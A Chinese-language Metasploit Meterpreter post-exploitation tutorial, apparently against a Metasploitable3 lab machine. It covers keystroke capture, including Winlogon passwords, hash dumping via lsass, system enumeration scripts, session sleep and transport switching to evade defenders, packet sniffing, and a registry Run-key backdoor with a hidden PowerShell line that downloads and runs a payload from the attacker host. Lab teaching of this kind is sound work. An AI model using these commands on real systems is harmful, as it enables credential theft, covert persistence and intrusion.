关于Window Station 和Desktop,可以看微软官方的说明:https://learn.microsoft.com/en-us/windows/win32/winstation/window-stations-and-desktops

在 Windows XP、Windows Server 2003 和更早版本的 Windows 操作系统中,所有服务都在与登录到控制台的第一个用户相同的会话中运行。此会话称为Session 0

从Microsoft Windows Vista 和 Windows Server 2008开始,为了安全,对 Session 0 进行了隔离,并设置为非交互式。只有系统进程和服务在 Session0 中运行。用户登录到Session 1Session 2Session 3等。

这里需要注意的是每个桌面都有自己的键盘缓冲区。因此,如果需要从Default桌面中嗅探按键,则必须确保当前Meterpreter活动桌面设置为Session 0 / WinSta0 / Default。如果嗅探登录密码,则必须将活动桌面更改为Session 0 / WinSta0 / Winlogon

1、使用getdesktop查看当前会话的桌面信息:

meterpreter > getdesktop 
Session 0\S\D
meterpreter > 

可以看到当前桌面不在WinSta0窗口站中。因此,如果我们在这里运行按键键盘捕获,则不会返回任何结果。

2、更改桌面到WinSta0\Default

meterpreter > setdesktop 
Changed to desktop WinSta0\Default
meterpreter > getdesktop 
Session 0\WinSta0\Default

3、然后就可以使用keyscan_start命令启动击键嗅探器来捕获用户在目标机器上按下的键

meterpreter > keyscan_start 
Starting the keystroke sniffer ...

4、通过keyscan_dump查看转储的按键记录,就可以识别出目标用户访问了什么网站和他/她的登录凭证信息。

meterpreter > keyscan_dump
Dumping captured keystrokes...
<CR>
keylogging s<^H>test<CR>
 password<Right Shift>:123<CR>

keyscan_start 命令在注入 Meterpreter 的进程内会生成一个新线程。该线程分配一个 1Mb 的大缓冲区来存储捕获的击键。每 30 毫秒,此线程调用Windows的GetAsyncKeyState 函数 ,它返回 256 个可能的虚拟键代码中每一个的上/下状态。

GetAsyncKeyState 函数的一个限制是它必须有权访问活动的输入桌面才能监视键状态。当目标进程作为服务运行时,如果该服务没有与桌面交互的权限。则无法捕获用户的键盘输入。此时我们需要使用migrate命令将正在运行的会话迁移到一个对桌面具有交互访问权限的进程中。

5、如果需要嗅探Windows登录用户和密码,可以使用setdesktop切换活动桌面到Winlogon然后尝试获取。

meterpreter > setdesktop -n Winlogon
Changed to desktop WinSta0\Winlogon

6、或者使用migrate将进程迁移到winlogon.exe进程,再进行键盘监听。

meterpreter > ps | grep winlogon
Filtering on 'winlogon'

Process List
============

 PID  PPID  Name          Arch  Session  User                 Path
 ---  ----  ----          ----  -------  ----                 ----
 980  8060  winlogon.exe  x64   2        NT AUTHORITY\SYSTEM  C:\Windows\System32\winlogon.exe
meterpreter > migrate 980
[*] Migrating from 5720 to 980...
[*] Migration completed successfully.       
meterpreter > getdesktop 
Session 2\W\W
meterpreter > keyscan_start 
Starting the keystroke sniffer ...
meterpreter > keyscan_dump 
Dumping captured keystrokes...
<LAlt><Delete>123456

通过上面的学习,你应该注意到迁移到不同的进程和桌面环境的重要性。如果直接运行keyscan而没有注意当前活动的桌面,则通常不会得到任何结果。这是因为渗透的进程可能属于不同的会话或窗口站。因此,在进行按键嗅探时,请记住这个概念。

其他

屏幕截图可以使用screenshot命令

meterpreter > screenshot 
Screenshot saved to: /home/kali/hxYibCsh.jpeg
# 8、使用 scraper Merterpreter脚本

到目前为止,我们已经学习了几个Meterpreter命令。本节我们将学习一个重要的Meterpreter脚本,它可以帮助我们更深入地探索目标。渗透测试可能需要很多时间来挖掘目标信息。因此,对于渗透测试人员来说,拥有有用信息的本地备份非常方便,即使目标关闭也能够继续手头上的工作。它还使与其他测试人员共享信息变得容易。Scraper可以为我们完成了这项任务。

scraper Meterpreter 脚本可以挖掘出大量有关受感染目标的信息,例如注册表信息、密码哈希和网络信息,并将其存储在测试人员的机器上。

为了在Meterpreter中执行Ruby脚本,我们可以使用run命令。让我们继续了解如何将信息下载到本地。

脚本在执行后会自动完成所有操作。它会在 /username/.msf4/logs/scripts/scraper/ 下创建一个目录,其中保存了所有文件:

meterpreter > run scraper 
[*] New session on 192.168.91.133:445...
[*] Gathering basic system information...
[-] Error: Rex::TimeoutError Send timed out
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
$ ls -al ./.msf4/logs/scripts/scraper/192.168.91.133_20230320.215643943 
total 1212
drwxr-xr-x 2 kali kali    4096 Mar 20 16:22 .
drwxr-xr-x 3 kali kali    4096 Mar 20 16:21 ..
-rw-r--r-- 1 kali kali    1188 Mar 20 16:21 env.txt
-rw-r--r-- 1 kali kali     119 Mar 20 16:22 group.txt
-rw-r--r-- 1 kali kali    1700 Mar 20 16:22 hashes.txt
-rw-r--r-- 1 kali kali 1169040 Mar 20 16:22 HKCU.reg
-rw-r--r-- 1 kali kali     117 Mar 20 16:22 localgroup.txt
-rw-r--r-- 1 kali kali      57 Mar 20 16:22 nethood.txt
-rw-r--r-- 1 kali kali   19888 Mar 20 16:21 network.txt
-rw-r--r-- 1 kali kali    1921 Mar 20 16:21 services.txt
-rw-r--r-- 1 kali kali     420 Mar 20 16:21 shares.txt
-rw-r--r-- 1 kali kali      57 Mar 20 16:22 systeminfo.txt
-rw-r--r-- 1 kali kali      80 Mar 20 16:21 system.txt
-rw-r--r-- 1 kali kali      93 Mar 20 16:21 users.txt
                                                                                   

该脚本会自动下载信息并将其保存在目标文件夹中。我们可以修改源码,根据自己的需要做一些改动。

# 工作原理

scraper.rb源代码位于 /usr/share/metasploit-framework/scripts/meterpreter目录。

$ ls -al /usr/share/metasploit-framework/scripts/meterpreter/          
total 328
drwxr-xr-x 2 root root 12288 Feb  3 12:21 .
drwxr-xr-x 5 root root  4096 Feb  3 12:21 ..
-rw-r--r-- 1 root root  5730 Jan 27 03:30 autoroute.rb
......
-rw-r--r-- 1 root root 10037 Jan 27 03:30 scheduleme.rb
-rw-r--r-- 1 root root  6005 Jan 27 03:30 schtasksabuse.rb
-rw-r--r-- 1 root root  4776 Jan 27 03:30 scraper.rb
......

如果你熟悉ruby编程,你可以根据需求添加自己的功能。

比如说文件保存路径:

比如说你想获得进程列表信息,可以在程序中添加如下代码

::File.open(File.join(logs, "processlist.txt"), "w") do |fd|
 fd.puts(m_exec(client, "tasklist"))
end
# 9、使用 winenum 枚举系统信息

Windows 本地枚举 (WinEnum) 脚本可以帮助我们检索有关系统的各种信息,包括环境变量、网络接口、路由、用户帐户等等。

winenum 脚本将在目标机器上运行几个命令,例如 arp、net、netstat、netsh 和 wmic 以及其他命令,并将结果下载到本地:

meterpreter > run winenum 
[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.91.133:445...
[*] Saving general report to /home/kali/.msf4/logs/scripts/winenum/METASPLOITABLE3_20230320.3831/METASPLOITABLE3_20230320.3831.txt
[*] Output of each individual command is saved to /home/kali/.msf4/logs/scripts/winenum/METASPLOITABLE3_20230320.3831
[*] Checking if METASPLOITABLE3 is a Virtual Machine ........
[*]     This is a VMware Workstation/Fusion Virtual Machine
[*]     UAC is Disabled
[*] Running Command List ...
[*]     running command cmd.exe /c set
[*]     running command arp -a
[*]     running command ipconfig /all
[*]     running command ipconfig /displaydns
[*]     running command route print
[*]     running command net view
[*]     running command netstat -nao
[*]     running command netstat -vb
[*]     running command netstat -ns
[*]     running command net accounts

结果会输出到/username/.msf4/logs/scripts/winenum/目录中

$ ls -al ~/.msf4/logs/scripts/winenum/METASPLOITABLE3_20230320.3831 
total 240
drwxr-xr-x 2 kali kali  4096 Mar 20 16:39 .
drwxr-xr-x 3 kali kali  4096 Mar 20 16:38 ..
-rw-r--r-- 1 kali kali   612 Mar 20 16:38 arp__a.txt
-rw-r--r-- 1 kali kali  1188 Mar 20 16:38 cmd_exe__c_set.txt
-rw-r--r-- 1 kali kali    73 Mar 20 16:39 cscript__nologo_winrm_get_winrm_config.txt
-rw-r--r-- 1 kali kali    77 Mar 20 16:39 gpresult__SCOPE_COMPUTER__Z.txt
-rw-r--r-- 1 kali kali    77 Mar 20 16:39 gpresult__SCOPE_USER__Z.txt
-rw-r--r-- 1 kali kali  1703 Mar 20 16:39 hashdump.txt
-rw-r--r-- 1 kali kali  1766 Mar 20 16:38 ipconfig__all.txt
-rw-r--r-- 1 kali kali  3214 Mar 20 16:38 ipconfig__displaydns.txt
-rw-r--r-- 1 kali kali   210 Mar 20 16:38 METASPLOITABLE3_20230320.3831.txt
-rw-r--r-- 1 kali kali   126 Mar 20 16:38 net_accounts.txt
-rw-r--r-- 1 kali kali   119 Mar 20 16:38 net_group_administrators.txt
-rw-r--r-- 1 kali kali   182 Mar 20 16:38 net_group.txt
-rw-r--r-- 1 kali kali    93 Mar 20 16:38 net_localgroup_administrators.txt
-rw-r--r-- 1 kali kali   117 Mar 20 16:38 net_localgroup.txt
# 10、自动化脚本

在渗透测试期间,我们希望尽可能自动化,以便可以集中精力处理需要人类干预的操作。为了简化我们的任务,Metasploit允许我们使用AUTORUNSCRIPT指定在接收到新的Meterperter会话后自动进行哪些操作。

1、首先,我们需要创建一个包含要执行的命令的文件。在这个例子中,我们将迁移到lsass.exe进程并转储Windows哈希:

$ cat autoruncmds.rc 
migrate -N lsass.exe
hashdump

2、然后,在执行攻击模块的时候指定这个自动化脚本

msf6 exploit(windows/smb/psexec) > set AUTORUNSCRIPT multi_console_command -r /home/kali/autoruncmds.rc
AUTORUNSCRIPT => multi_console_command -r /home/kali/autoruncmds.rc
msf6 exploit(windows/smb/psexec) > 

3、通过设置,我们可以在会话创建时自动运行脚本。在此示例中,我们将使用multi_console_command脚本,它允许我们指定要运行的多个命令。使-c·后跟要执行的命令,用双引号括起来并用逗号分隔,或者使用-r指定包含命令列表的文本文件路径。然后执行攻击,获取到会话后,会自动完成我们指定的命令。

msf6 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.91.128:7777 
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.91.133
[*] Session ID 2 (192.168.91.128:7777 -> 192.168.91.133:58163) processing AutoRunScript 'multi_console_command -r /home/kali/autoruncmds.rc'
[*] Running Command List ...
[*]     Running command migrate -N lsass.exe
[*] Migrating from 3548 to 480...
[*] Migration completed successfully.
[*]     Running command hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1010:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1006:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
ben_kenobi:1008:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1013:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1016:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::

# 11、Meterpreter资源脚本

msfconsole一样,Meterpreter也支持资源脚本,这使我们能够自动化使用Meterpreter命令。

1、首先需要创建放置脚本的目录,以便在meterpreter会话中使用资源脚本。

$ mkdir -p ~/.msf4/scripts/resource/meterpreter

2、然后编写资源脚本,例:编写一个获取系统信息的脚本

$ cat ~/.msf4/scripts/resource/meterpreter/getsystminfo.rc
sysinfo
getuid
getsid
getpid
getpwd

3、使用resource命令,在meterpreter会话中使用资源脚本

meterpreter > resource getsystminfo.rc 
[*] Processing /home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc for ERB directives.
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> sysinfo
Computer        : METASPLOITABLE3
OS              : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> getuid
Server username: NT AUTHORITY\SYSTEM
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> getsid
Server SID: S-1-5-18
resource (/home/kali/.msf4/scripts/resource/meterpreter/getsystminfo.rc)> getpid
Current pid: 480

4、例2,进程迁移,获取哈希信息

$ cat ~/.msf4/scripts/resource/meterpreter/automate.rc
migrate -N lsass.exe
hashdump

meterpreter > resource automate.rc 
[*] Processing /home/kali/.msf4/scripts/resource/meterpreter/automate.rc for ERB directives.
resource (/home/kali/.msf4/scripts/resource/meterpreter/automate.rc)> migrate -N lsass.exe
[-] Process already running at PID 480
resource (/home/kali/.msf4/scripts/resource/meterpreter/automate.rc)> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1010:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1006:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

5、除了常规命令外,Meterpreter还支持处理<ruby>指令,这意味着我们可以在资源脚本中使用Ruby的全部功能:

cat ~/.msf4/scripts/resource/meterpreter/ruby.rc
<ruby>
$stderr.puts("Ruby is awesome!")
$stderr.puts("session.platform: #{session.platform}, framework: #{framework}")
</ruby>
meterpreter > resource ruby.rc 
[*] Processing /home/kali/.msf4/scripts/resource/meterpreter/ruby.rc for ERB directives.
[*] resource (/home/kali/.msf4/scripts/resource/meterpreter/ruby.rc)> Ruby Code (112 bytes)
Ruby is awesome!
# 12、Meterpreter超时控制

Meterpreter超时控制允许我们控制Meterpreter会话中的超时行为。控制超时可以改变噪声级别和其他通信特性,例如Meterpreter会话的持续时间。

1、使用get_timeouts显示当前的超时配置

meterpreter > get_timeouts 
Session Expiry  : @ 2023-03-27 17:14:17
Comm Timeout    : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds

Session Expiry指定了分配给会话的超时时间,在此之后,会话将被终止。

如果网络相关问题阻止两个端点之间传输数据但不导致套接字完全断开连接,则Comm Timeout指定 Meterpreter 在断开或尝试重新连接之前等待通信的时间,默认为 5 分钟。

Retry Total Time 是 Meterpreter 将尝试重试通信的总时间,默认为3600秒(1小时)

Retry Wait Time 指尝试建立通信之前的等待时间。

2、使用set_timeouts命令,可以更改这些超时配置。如果要更改Comm Timeout ,使用-c参数。

meterpreter > set_timeouts -c 600
Session Expiry  : @ 2023-03-27 17:14:17
Comm Timeout    : 600 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
# 13、Meterpreter休眠控制

在渗透测试期间,有时候你需要让Meterpreter会话暂时保持静默状态;例如,如果你认为安全团队已经发现了你并试图阻止你的攻击。Meterpreter提供了一个简单但非常有用的命令叫做sleep

1、首先,我们需要设置一个新的监听,用于连接新的Meterpreter会话。然后使用sleep命令设置休眠时间,它使当前 Meterpreter 会话在指定的时间段内进入休眠状态,并在该时间到期后再次唤醒。

msf6 exploit(windows/smb/psexec) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.91.128:7777 

2、设置休眠时间,这里设置为10秒

meterpreter > sleep 10
[*] Telling the target instance to sleep for 10 seconds ...
[+] Target instance has gone to sleep, terminating current session.

[*] 192.168.91.133 - Meterpreter session 2 closed.  Reason: User exit

3、等休眠时间结束后,监听器将会收到一个新的会话

msf6 exploit(multi/handler) > 
[*] Sending stage (200774 bytes) to 192.168.91.133
[*] Meterpreter session 3 opened (192.168.91.128:7777 -> 192.168.91.133:55473) at 2023-03-21 13:57:02 +0800
# 14、Meterpreter传输机制

transport 命令允许你添加新的传输机制到当前会话中,其中 reverse_tcp 和 reverse_https 是最常用的。Meterpreter 还提供了其他一些传输机制供你选择。

1、查看命令帮助,使用-h参数

meterpreter > transport -h
Usage: transport <list|change|add|next|prev|remove> [options]

   list: list the currently active transports.
    add: add a new transport to the transport list.
 change: same as add, but changes directly to the added entry.
   next: jump to the next transport in the list (no options).
   prev: jump to the previous transport in the list (no options).
 remove: remove an existing, non-active transport.

OPTIONS:

    -A   User agent for HTTP/S transports (optional)
    -B   Proxy type for HTTP/S transports (optional: http, socks; default: http)
    -c   SSL certificate path for https transport verification (optional)
    -C   Comms timeout (seconds) (default: same as current session)
    -H   Proxy host for HTTP/S transports (optional)
    -h   Help menu
    -i   Specify transport by index (currently supported: remove)
    -l   LHOST parameter (for reverse transports)
    -N   Proxy password for HTTP/S transports (optional)
    -p   LPORT parameter
    -P   Proxy port for HTTP/S transports (optional)
    -t   Transport type: reverse_tcp, reverse_http, reverse_https, bind_tcp
    -T   Retry total time (seconds) (default: same as current session)
    -u   Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)
    -U   Proxy username for HTTP/S transports (optional)
    -v   Show the verbose format of the transport list
    -W   Retry wait time (seconds) (default: same as current session)
    -X   Expiration timout (seconds) (default: same as current session)

2、列出当前活动的传输,使用list参数

meterpreter > transport list
Session Expiry  : @ 2023-03-27 17:14:18

    ID  Curr  URL                        Comms T/O  Retry Total  Retry Wait
    --  ----  ---                        ---------  -----------  ----------
    1   *     tcp://192.168.91.128:7777  600        3600         10

3、要添加新的传输机制,使用add参数,及其其他设置参数

meterpreter > transport add -t reverse_http -l 192.168.91.128 -p 8888 -T 500 -W 300 -C 600
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
  • -t 参数:指定添加的传输机制
  • -l参数:指定LHOST
  • -p参数:指定LPORT
  • -T参数:指定Retry Total Time
  • -W参数:指定Retry wait time
  • -C参数:指定Comms timeout

4、再次查看当前可用的传输

meterpreter > transport list
Session Expiry  : @ 2023-03-27 17:14:17

    ID  Curr  URL                                                         Comms T/O  Retry Total  Retry Wait
    --  ----  ---                                                         ---------  -----------  ----------
    1         http://192.168.91.128:8888/35kshZumdMxW6FfqMvER4gZRx8NAUp/  600        500          300
    2   *     tcp://192.168.91.128:7777                                   600        3600         10

meterpreter > 

5、切换传输机制,首先设置监听,保持与transport的设置一致,然后使用transport next切换

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http
payload => windows/x64/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/handler) > run -j

meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.

[*] 192.168.91.133 - Meterpreter session 3 closed.  Reason: User exit
[*] http://192.168.91.128:8888 handling request from 192.168.91.133; (UUID: w7jd16yy) Attaching orphaned/stageless session...
msf6 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE3  192.168.91.128:8888 -> 192.168.91.133:56938 (192.168.91.133)

msf6 exploit(multi/handler) > [*] Meterpreter session 4 opened (192.168.91.128:8888 -> 192.168.91.133:56938) at 2023-03-21 14:36:32 +0800

如果要换回上一个传输机制,使用transport prev

# 15、注册表操作

注册表是一个系统定义的数据库,用于存储配置系统所需的信息,包括一个或多个用户、应用程序和硬件设备等信息。

在与目标系统进行交互的时候需要考虑,注册表中存储的数据和解构因Windows系统版本不同而有所差异。

通过查看注册表,可以找到已使用的文件记录、IE访问记录、程序使用、USB 设备使用记录等等。

1、通过reg命令可以对目标操作系统的注册进行操作,使用reg -h查看命令帮助

meterpreter > reg -h
Usage: reg [command] [options]
Interact with the target machine's registry.

OPTIONS:

    -d   The data to store in the registry value. //要存储在注册表值中的数据
    -h   Help menu.
    -k   The registry key path (E.g. HKLM\Software\Foo). //注册表路径
    -r   The remote machine name to connect to (with current process credentials //要连接的计算机名称
    -t   The registry value type (E.g. REG_SZ). //注册表值类型
    -v   The registry value name (E.g. Stuff). //注册表值名称
    -w   Set KEY_WOW64 flag, valid values [32|64]. //设置KEY_WOW64标志和有效值(32/64)
COMMANDS:

    enumkey     Enumerate the supplied registry key [-k <key>] //枚举注册表项
    createkey   Create the supplied registry key  [-k <key>] //创建注册表项
    deletekey   Delete the supplied registry key  [-k <key>] //删除注册表项
    queryclass  Queries the class of the supplied key [-k <key>] //查询提供的键的类
    setval      Set a registry value [-k <key> -v <val> -d <data>]. Use a binary blob to set binary data with REG_BINARY type (e.g. setval -d ef4ba278) //设置一个注册表值
    deleteval   Delete the supplied registry value [-k <key> -v <val>] // 删除提供的注册表值
    queryval    Queries the data contents of a value [-k <key> -v <val>] //查询一个值的数据内容

如你所见,reg命令能够完全控制注册表。

在本节中,我们将使用reg命令和Script Web Delivery模块来创建一个注册表后门。

首先,设置一个Web服务用于传输PowerShell payload

msf6 exploit(multi/script/web_delivery) > set SRVHOST 192.168.91.128
SRVHOST => 192.168.91.128
msf6 exploit(multi/script/web_delivery) > set URIPATH /
URIPATH => /
msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   pubprn
   5   SyncAppvPublishingServer
   6   PSH (Binary)
   7   Linux
   8   Mac OS X


msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

2、然后使用reg命令创建一个新的注册表项,该注册表项将设置用户登录计算机时运行 PowerShell 并加载payload

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v Power -d "powershell.exe -nop -w hidden -c $R=new-object net.webclient;$R.proxy=[Net.WebRequest]::GetSystemWebProxy();$R.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $R.downloadstring('http://192.168.91.128:8080/');"
Successfully set Power of REG_SZ.
meterpreter > 

3、重启靶机,获得会话连接

4、使用reg enumkey -k 可以枚举注册表键

meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Run
Enumerating: HKLM\Software\Microsoft\Windows\Currentversion\Run

  Values (3):

        VBoxTray
        VMware User Process
        Power

tips:如果要枚举对应用户的注册表内容,需要migrate迁移进程获取对应用户的令牌

5、查询注册表键值内容,使用reg queryval -k 

meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Run -v Power
Key: HKLM\Software\Microsoft\Windows\Currentversion\Run
Name: Power
Type: REG_SZ
Data: powershell.exe -nop -w hidden -c $R=new-object net.webclient;$R.proxy=[Net.WebRequest]::GetSystemWebProxy();$R.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $R.downloadstring('http://192.168.91.128:8080/');

太棒了!如你所期望的那样,Metasploit框架为我们提供了模拟对手并测试最常见持久化方法所需的所有工具。

# 16、加载框架插件

Meterpreter允许我们使用多个Meterpreter扩展,这些扩展为我们提供了增强功能,例如执行PowerShellPython命令、创建交互式PowerShell提示符、执行局域网攻击、嗅探流量等等。

1、在本节中,我们将从使用load命令加载PowerShell扩展开始学起。

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > help powershell

Powershell Commands
===================

    Command                    Description
    -------                    -----------
    powershell_execute         Execute a Powershell command string
    powershell_import          Import a PS1 script or .NET Assembly DLL
    powershell_session_remove  Remove/clear a session (other than default)
    powershell_shell           Create an interactive Powershell prompt

2、第一个命令是 powershell_execute,它允许我们执行powershell命令

meterpreter > powershell_execute $PSVersionTable
[+] Command execution completed:

Name                           Value
----                           -----
CLRVersion                     2.0.50727.5420
BuildVersion                   6.1.7601.17514
PSVersion                      2.0
WSManStackVersion              2.0
PSCompatibleVersions           {1.0, 2.0}
SerializationVersion           1.1.0.1
PSRemotingProtocolVersion      2.1

如你所见,使用powershell_execute命令,可以像在PowerShell提示符下一样执行PowerShell命令。

3、使用双引号,可以执行多条 PowerShell 命令,比如获取域中用户列表

meterpreter > powershell_execute "Get-WmiObject Win32_UserDesktop | Select-Object Element"
[+] Command execution completed:

Element
-------
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="Administrator"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="anakin_skywalker"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="lando_calrissian"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="leah_organa"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="luke_skywalker"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="sshd"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="sshd_server"
\\METASPLOITABLE3\root\cimv2:Win32_UserAccount.Domain="METASPLOITABLE3",Name="vagrant"

4、通过加载sniffer扩展,我们可以在目标主机上启动网络嗅探器

meterpreter > load sniffer 
Loading extension sniffer...Success.
meterpreter > help sniffer

Sniffer Commands
================

    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface instead of downloading them
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface

5、启动网络嗅探前,使用sniffer_interfaces 列出可以使用的网络接口

meterpreter > sniffer_interfaces
 
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )
4 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

6、进行嗅探

meterpreter > sniffer_start 6
[*] Capture started on interface 6 (50000 packet buffer)

7、查看嗅探状态

meterpreter > sniffer_stats 6
[*] Capture statistics for interface 6
	packets: 178
	bytes: 13326

8、导出嗅探的数据包和停止嗅探

meterpreter > sniffer_dump 6 /tmp/all.cap //导出嗅探的数据到文件
[*] Flushing packet capture buffer for interface 6...
[*] Flushed 226 packets (21516 bytes)
[*] Downloaded 100% (21516/21516)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/all.cap
meterpreter > sniffer_stop 6 //停止嗅探
[*] Capture stopped on interface 6
[*] There are 21 packets (1585 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'

Meterpreter数据包嗅探器使用MicroOLAP Packet Sniffer SDK,可以从受害者机器上嗅探数据包,而无需安装任何驱动程序或写入文件系统。该模块非常智能,能够识别自身的流量,并自动删除Meterpreter交互中的任何流量。

# 17、API和Mixins

通过之前的学习,你可能已经意识到了Meterpreter在使我们的渗透任务更加轻松和快速方面所扮演的重要角色。从本节开始,我们将继续讨论与Meterpreter相关的一些高级概念。我们将深入探讨Metasploit核心,以理解Meterpreter脚本如何运行以及如何构建自己的脚本。

从渗透测试员的角度来看,了解如何实现自己的脚本技术以满足场景需求是至关重要的。有时候你需要执行的任务,Meterpreter已有功能可能不足以解决你的问题,所以我们需要开发自己的脚本和模块。在本节中,我们将讨论Meterpreter API和一些重要的mixins,并在后续教程中学会编写自己的Meterpreter脚本。

Meterpreter API可以帮助渗透人员在渗透测试中实现自己的脚本。由于整个Metasploit框架是用Ruby语言构建的,所以Ruby编程的经验可以增强你对Metasploit的使用。我们将在接下来的几个小节内容中与Ruby脚本打交道,所以需要一些Ruby编程经验。如果你对Ruby和其他脚本语言有基本了解,那么你将很容易理解这些概念。

1、首先在Meterpreter会话中使用irb命令启动一个交互式的Ruby shell

meterpreter > irb 
[*] Starting IRB shell...
[*] You are in the "client" (session) object

irb: warn: can't alias kill from irb_kill.
irb: warn: can't alias info from irb_debug_info.
>> 

2、我们从最基础的Ruby语法开始,比如数值计算

>> 1+1
=> 2
>> 

3、使用framework对象显示会话有关的信息

>> framework
=> #<Framework (1 sessions, 0 jobs, 0 plugins, postgresql database active)>

4、client显示目标机器的信息

>> client
=> nil

tips 这里有个问题,返回的信息是nil(空值),这个问题可以在https://github.com/rapid7/metasploit-framework/issues/10827中找到,因为client没有被定义,需要用self

>> self
=> #<Session:meterpreter 192.168.91.133:49163 (192.168.91.133) "METASPLOITABLE3\Administrator @ METASPLOITABLE3">

# 工作原理

让我们了解一些打印相关的API调用,这对我们编写meterpreter脚本非常有用

>> print_line("message")

message                                                                    
=> "message\n"                                                             
>> 
//此调用将打印输出并在末尾添加一个回车符。
>> print_status("message")
[*] message
=> "\e[1m\e[34m[*]\e[0m message\n"                                         
>> 
//此调用在脚本中使用的非常多,它将打印正在执行的状态和回车符,并在开头加上前缀[*] 
>> print_good("HackAlert")
[+] HackAlert
=> "\e[1m\e[32m[+]\e[0m HackAlert\n"                       
>> 
//此调用用于提供任何操作的结果。以前缀[+]开头,表示操作成功
print_error("message")
[-] message
